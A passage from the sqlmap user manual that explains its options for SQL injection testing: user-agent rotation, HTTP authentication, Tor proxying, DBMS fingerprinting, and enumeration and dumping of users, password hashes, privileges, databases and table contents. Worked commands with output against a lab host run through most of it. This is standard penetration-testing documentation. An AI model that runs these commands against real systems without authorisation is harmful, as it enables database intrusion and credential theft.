User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
```

Providing a text file, `./txt/user-agents.txt` or any other file containing a list of at least one user agent, to the `-a` option, sqlmap will randomly select a `User-Agent` from the file and use it for all HTTP requests.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
  -a "./txt/user-agents.txt"

[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
```

```
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
Connection: close
[...]
```

Note that the HTTP `User-Agent` header is tested against SQL injection even if you do not overwrite the default sqlmap HTTP `User-Agent` header value.

5.1.9 HTTP `Basic` and `Digest` authentications

Options: `-auth-type` and `-auth-cred`

These options can be used to specify which HTTP authentication type the web server implements and the valid credentials to be used to perfom all HTTP requests to the target URL. The two valid types are `Basic` and `Digest` and the credentials' syntax is `username:password`.

Examples on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
  --auth-type Basic --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:28] [INFO] testing connection to the target url
[hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
  --auth-type Digest --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Authorization: Digest username="testuser", realm="Testing digest authentication",
nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
cnonce="df1c0902c931b640"
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.1.10 HTTP proxy

Option: `-proxy`

It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is `http://url:port`.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
  --proxy "http://127.0.0.1:3128"

[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS:    PostgreSQL
```

Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
  --proxy "http://127.0.0.1:8118"
```

Note that `8118` is the default Privoxy port, adapt it to your settings.

5.1.11 Concurrent HTTP requests

Option: `-threads`

It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.

Examples on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
  -b --threads 3

[...]
back-end DBMS:  MySQL >= 5.0.0

[hh:mm:08] [INFO] fetching banner
[hh:mm:08] [INFO] retrieved the length of query output: 18
[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
[hh:mm:09] [INFO] starting 3 threads
[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
[hh:mm:09] [INFO] performed 132 queries in 0 seconds
banner:    '5.0.51a-3ubuntu5.2'
```

As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after approximately seven HTTP requests, the maximum to retrieve a query output character.

5.2 Injection

5.2.1 String match

Option: `-string`

By default the distinction of a True query by a False one (basic concept for standard blind SQL injection attacks) is done comparing injected pages content MD5 hash with the original not-injected page content

MD5. Not always this concept works because sometimes the page content changes at each refresh, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is **always** present on the not-injected page **and** on all True injected query pages, but that it is **not** on the False ones. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original output with the wrong output to identify which string is on True page only. This way the distinction will be based upon string match and not page MD5 hash comparison.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
  -v 5

[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996190</p>

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
```

```
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>

[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual
paragraph 'String match' for details
```

As you can see, the string after `Dynamic content` changes its value every second. In the example it is just a call to PHP `time()` function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word `luther` as an output that is on the True page content and it is not on the False page content and passing it to sqlmap, you should be able to inject anyway.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
  --string "luther" -v 1

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
```

```
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

As you can see, when this option is specified, sqlmap skips the URL stability test.

Consider this option a must when you are dealing with a page which content that changes itself at each refresh without modifying the user's input.

5.2.2 Force the database management system name

Option: `-dbms`

By default sqlmap automatically detects the web application's back-end database manangement system. At the moment the fully supported database management system are four:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server

It is possible to force the name if you already know it so that sqlmap will skip the fingerprint with an exception for MySQL to only identify if it is MySQL < 5.0 or MySQL $>= 5.0$. To avoid also this check you can provide instead `MySQL 4` or `MySQL 5`.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
  --dbms "PostgreSQL"

[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
back-end DBMS:    PostgreSQL
```

In case you provide `-fingerprint` together with `-dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system, read the following section for further details.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.

5.3 Fingerprint

5.3.1 Extensive database management system fingerprint

Options: `-f` or `-fingerprint`

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing this value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and performs the following queries with their specific syntax within the limits of the database architecture.

If you want to perform a more accurate database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the `-fingerprint` option.

The order of database management systems that sqlmap tests for is:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:02] [INFO] testing MySQL
[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:02] [INFO] retrieved: 44
[hh:mm:02] [INFO] performed 20 queries in 0 seconds
[hh:mm:02] [INFO] confirming MySQL
[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
[hh:mm:02] [INFO] retrieved: 1
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:02] [INFO] retrieved: 4
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
[hh:mm:02] [INFO] query: DATABASE()
[hh:mm:02] [INFO] retrieved: test
[hh:mm:02] [INFO] performed 34 queries in 0 seconds
[hh:mm:02] [INFO] query: SCHEMA()
[hh:mm:02] [INFO] retrieved: test
[hh:mm:02] [INFO] performed 34 queries in 0 seconds
[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:02] [INFO] retrieved:
[hh:mm:02] [INFO] performed 6 queries in 0 seconds
[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.51
                html error message fingerprint: MySQL
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
[hh:mm:26] [INFO] testing Oracle
[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
[hh:mm:26] [INFO] retrieved: 9
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] confirming Oracle
[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
```

```
[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
[hh:mm:27] [INFO] performed 76 queries in 0 seconds
back-end DBMS:    active fingerprint: Oracle 10g
                  html error message fingerprint: Oracle
```

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
[hh:mm:56] [INFO] testing PostgreSQL
[hh:mm:56] [INFO] query: COALESCE(7, NULL)
[hh:mm:56] [INFO] retrieved: 7
[hh:mm:56] [INFO] performed 13 queries in 0 seconds
[hh:mm:56] [INFO] confirming PostgreSQL
[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
[hh:mm:56] [INFO] retrieved: 1
[hh:mm:56] [INFO] performed 13 queries in 0 seconds
[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
[hh:mm:56] [INFO] retrieved: 2
[hh:mm:56] [INFO] performed 13 queries in 0 seconds
back-end DBMS:  active fingerprint: PostgreSQL >= 8.2.0
                html error message fingerprint: PostgreSQL
```

As you can see from this last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
[hh:mm:41] [INFO] retrieved: 0
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
                html error message fingerprint: Microsoft SQL Server
```

If you want an even more accurate result, based also on banner parsing, you can also provide the `-b` or `-banner` option.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b

[...]
[hh:mm:11] [INFO] testing MySQL
[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:11] [INFO] retrieved: 44
```

```
[hh:mm:11] [INFO] performed 20 queries in 0 seconds
[hh:mm:11] [INFO] confirming MySQL
[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
[hh:mm:11] [INFO] retrieved: 1
[hh:mm:11] [INFO] performed 13 queries in 0 seconds
[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:11] [INFO] retrieved: 4
[hh:mm:11] [INFO] performed 13 queries in 0 seconds
[hh:mm:11] [INFO] query: DATABASE()
[hh:mm:11] [INFO] retrieved: test
[hh:mm:11] [INFO] performed 34 queries in 0 seconds
[hh:mm:11] [INFO] query: SCHEMA()
[hh:mm:11] [INFO] retrieved: test
[hh:mm:11] [INFO] performed 34 queries in 0 seconds
[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:11] [INFO] retrieved:
[hh:mm:11] [INFO] performed 6 queries in 0 seconds
[hh:mm:11] [INFO] query: VERSION()
[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
[hh:mm:12] [INFO] performed 132 queries in 0 seconds
[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.51
                banner parsing fingerprint: MySQL 5.0.51
                html error message fingerprint: MySQL
[...]
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b

[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
[hh:mm:03] [INFO] retrieved: 0
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
    Aug  6 2000 00:57:48
    Copyright (c) 1988-2000 Microsoft Corporation
    Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
                version 8.00.194
                html error message fingerprint: Microsoft SQL Server
```

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system service pack. The Microsoft SQL Server XML versions file is the result of a sqlmap

parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

5.4 Enumeration

5.4.1 Banner

Option: `-b` or `-banner`

Most of the modern database management systems have a function or an environment variable which returns details on the database managemet system version. Sometimes also the operating system where the daemon has been compiled on, the operating system architecture, its service pack. Usually this function is `version()` or the `@@version` environment variable.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b

banner:    '5.0.51a-3ubuntu5.2'
```

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b

banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)'
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b

banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b

banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
        Aug  6 2000 00:57:48
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
```

5.4.2 Current user

Option: `-current-user`

It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.

Example on a **MySQL 5.0.51** target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user

current user:    'testuser@localhost'
```

5.4.3 Current database

Option: `-current-db`

It is possible to retrieve the database management system's database the web application is connected to.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db

current database:    'master'
```

5.4.4 Users

Option: `-users`

It is possible to enumerate the list of database management system users.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users

database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
```

5.4.5 Users password hashes

Options: `-passwords` and `-U`

It is possible to enumerate the password hashes for each database management system user.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords

[*] debian-sys-maint [1]:
    password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] testuser [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
```

You can also provide the `-U` option to specify the user who you want to enumerate the password hashes.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
  -U sa

database management system users password hashes:
```

```
[*] sa [1]:
    password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
ba9930b62ee5d506955
        header: 0x0100
        salt: 0e16d704
        mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
        uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
```

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.

5.4.6 Users privileges

Options: `-privileges` and `-U`

It is possible to enumerate the privileges for each database management system user.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges

[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
    privilege: CTXAPP
    privilege: RESOURCE
[*] DBSNMP [1]:
    privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
    privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] HR (administrator) [3]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
[*] MDSYS [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] OUTLN [1]:
    privilege: RESOURCE
[*] SYS (administrator) [22]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: AQ_USER_ROLE
    privilege: AUTHENTICATEDUSER
    privilege: CONNECT
    privilege: CTXAPP
    privilege: DBA
    privilege: DELETE_CATALOG_ROLE
    privilege: EXECUTE_CATALOG_ROLE
```

```
    privilege: EXP_FULL_DATABASE
    privilege: GATHER_SYSTEM_STATISTICS
    privilege: HS_ADMIN_ROLE
    privilege: IMP_FULL_DATABASE
    privilege: LOGSTDBY_ADMINISTRATOR
    privilege: OEM_ADVISOR
    privilege: OEM_MONITOR
    privilege: PLUSTRACE
    privilege: RECOVERY_CATALOG_OWNER
    privilege: RESOURCE
    privilege: SCHEDULER_ADMIN
    privilege: SELECT_CATALOG_ROLE
    privilege: XDBADMIN
    privilege: XDBWEBSERVICES
[*] SYSTEM (administrator) [2]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: DBA
[*] TSMSYS [1]:
    privilege: RESOURCE
[*] XDB [2]:
    privilege: CTXAPP
    privilege: RESOURCE
```

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
  -U postgres

database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
```

As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and show after the username this information.

Note that this feature is not available if the back-end database management system is Microsoft SQL Server.

5.4.7 Available databases

Option: `-dbs`

It is possible to enumerate the list of databases.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs

available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
```

```
[*] pubs
[*] tempdb
```

Note that this feature is not available if the back-end database management system is Oracle.

5.4.8 Databases tables

Options: `-tables` and `-D`

It is possible to enumerate the list of tables for all database manangement system's databases.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables

Database: test
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS                            |
| COLUMN_PRIVILEGES                     |
| COLUMNS                               |
| KEY_COLUMN_USAGE                      |
| PROFILING                             |
| ROUTINES                              |
| SCHEMA_PRIVILEGES                     |
| SCHEMATA                              |
| STATISTICS                            |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLES                                |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: mysql
[17 tables]
+---------------------------------------+
| columns_priv                          |
| db                                    |
| func                                  |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| proc                                  |
```

```
| procs_priv                            |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
| user                                  |
+---------------------------------------+
```

You can also provide the `-D` option to specify the database that you want to enumerate the tables.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
  -D test

Database: test
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
  -D users

Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS       |
| EMPLOYEES         |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY       |
| JOBS              |
| LOCATIONS         |
| REGIONS           |
| USERS             |
+-------------------+
```

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name, in my example that is `users` to retrieve all tables owned by an Oracle database management system user.

5.4.9 Database table columns

Options: `-columns`, `-T` and `-D`

It is possible to enumerate the list of columns for a specific database table. This functionality depends on both `-T` to specify the table name and on `-D` to specify the database name.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
  -T users -D master
```

```
Database: master
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | int     |
| name    | varchar |
| surname | varchar |
+---------+---------+
```

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
  -T users -D public

Database: public
Table: users
[3 columns]
+---------+--------+
| Column  | Type   |
+---------+--------+
| id      | int4   |
| name    | bpchar |
| surname | bpchar |
+---------+--------+
```

Note that on PostgreSQL you have to provide `public` or the name of a system database because it is not possible to enumerate other databases tables, only the users' schema that the web application's user is connected to, which is always `public`.

5.4.10 Dump database tables entries

Options: `-dump`, `-C`, `-T`, `-D`, `-start` and `-stop`

It is possible to dump the entries for a specific database table. This functionality depends on both `-T` to specify the table name and on `-D` to specify the database name.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
  -T users -D test

Database: test
Table: users
[5 entries]
+----+-----------------------------------------------+-------------------+
| id | name                                          | surname           |
+----+-----------------------------------------------+-------------------+
| 1  | luther                                        | blissett          |
| 2  | fluffy                                        | bunny             |
| 3  | wu                                            | ming              |
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
```

```
| 5  | NULL                                          | nameisnull        |
+----+-----------------------------------------------+-------------------+
```

You can also provide the `-C` option to specify the table column that you want to enumerate the entries.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
  -T users -D master -C surname

Database: master
Table: users
[5 entries]
+-------------------+
| surname           |
+-------------------+
| blisset           |
| bunny             |
| ming              |
| nameisnull        |
| user agent header |
+-------------------+
```

sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1.

Example on a **PostgreSQL 8.2.7** target:

```
